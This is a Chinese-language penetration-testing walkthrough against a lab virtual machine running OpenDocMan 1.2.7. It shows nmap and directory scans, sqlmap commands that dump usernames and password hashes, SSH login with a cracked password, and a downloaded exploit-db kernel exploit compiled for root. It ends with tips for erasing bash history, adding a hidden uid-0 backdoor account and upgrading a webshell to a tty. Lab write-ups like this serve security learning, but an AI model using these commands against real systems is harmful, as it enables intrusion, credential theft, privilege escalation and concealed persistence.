一次基于Linux的渗透测试

  最近发现了一个不错的靶场,里面各种渗透测试的虚拟机,大家可以下载进行尝试学习。还有就是一个漏洞利用存档,可以找到很多我们可以利用的学习的东西。

0x01 信息搜集

  • 首先就是确定我们靶机的目标IP
    nmap -sP -T5 192.168.0.1/24


    通过前面的步骤,我们对目标进行具体的端口扫描以及操作系统识别,发现开启有80,22以及6667端口。
    nmap -sV -p- -A -O -T4 192.168.0.170
  • 目录扫描
    继续对目标进行敏感目录扫描,御剑等工具都可以。这里我使用KALI的nikto以及dirb命令进行简单的目录扫描。
    nikto -host http://192.168.0.170或者dirb http://192.168.0.170

0x02 漏洞发现

  访问IP之后的页面,发现并没有什么特别的地方,于是只能查看源代码,点击超链接进行查看。

在链接的地方竟然发现了秘密的地方,于是访问之

此处是一个登录界面,我们可以尝试注册一个用户进行登录,但只是一个游客的形式。

我们注册一个用户进行登录,还有有很多功能的,于是可以进行更多的尝试。

  在下面发现OpenDocMan v1.2.7, OpenDocMan是一个功能完整的基于Web的文档管理系统(DMS),于是找找OpenDocMan v1.2.7所公布的一些可以利用的漏洞

发现可以利用的好几个漏洞,于是先行尝试sql注入。

0x03 漏洞利用

  经过简单的测试发现http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user处确实注入。


于是直接拿出神器Sqlmap进行注入。
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value --dbs

经过常见的那几个命令我们可以成功的拿到登录名和密码。

1
2
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs --tables
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_admin --columns

发现admin表里面没有信息,只能从user表里面提取信息。

1
2
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_user --columns`
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_user -C "username,password" --dump

我们可以看到已经获取到了数据库的用户名和密码,直接MD5解密就可以ssh登录服务器。

用户名webmin,密码b78aae356709f8c31118ea613980954b,明文为webmin

0x04 权限提升

经过前面端口扫描可以发现,22端口发放着,可以进行ssh连接。ssh webmin@192.168.0.170


  
  查看权限发现是普通用户的权限,所以得继续进行提权操作。获取到低权限SHELL后我们通常做下面几件事:

  • 检测操作系统的发行版本
  • 查看内核版本
  • 检测当前用户权限
  • 列举Suid文件
  • 查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞

lsb_release -a查看系统的发行版本

uname -a查看内核版本

  我们可以看到此操作系统采用的是Ubuntu 14.04.4 LTS,内核版本是3.13.0-24-generic,首先想到的就是去漏洞库寻找有没有可以用的exploit。

下载漏洞exploit

1
2
3
4
wget https://www.exploit-db.com/download/37292
mv 37292 shell.c
gcc -o shell shell.c
./shell

附Linux渗透小技巧:

  • bash去掉history记录
    export HISTSIZE=0
    export HISTFILE=/dev/null
  • Linux添加uid为0的用户
    useradd -o -u 0 cnbird
  • 可以翻下 mysql_history .bash_history
  • ls -al 看下root目录下都有什么隐藏目录 例如 .ssh .vnc 等
  • 可以看下 .ssh/下面的ssh连接记录等,也可以看下全局变量文件什么的
  • 通过webshell反弹shell回来之后获取真正的ttyshell
    python -c 'import pty; pty.spawn("/bin/sh")'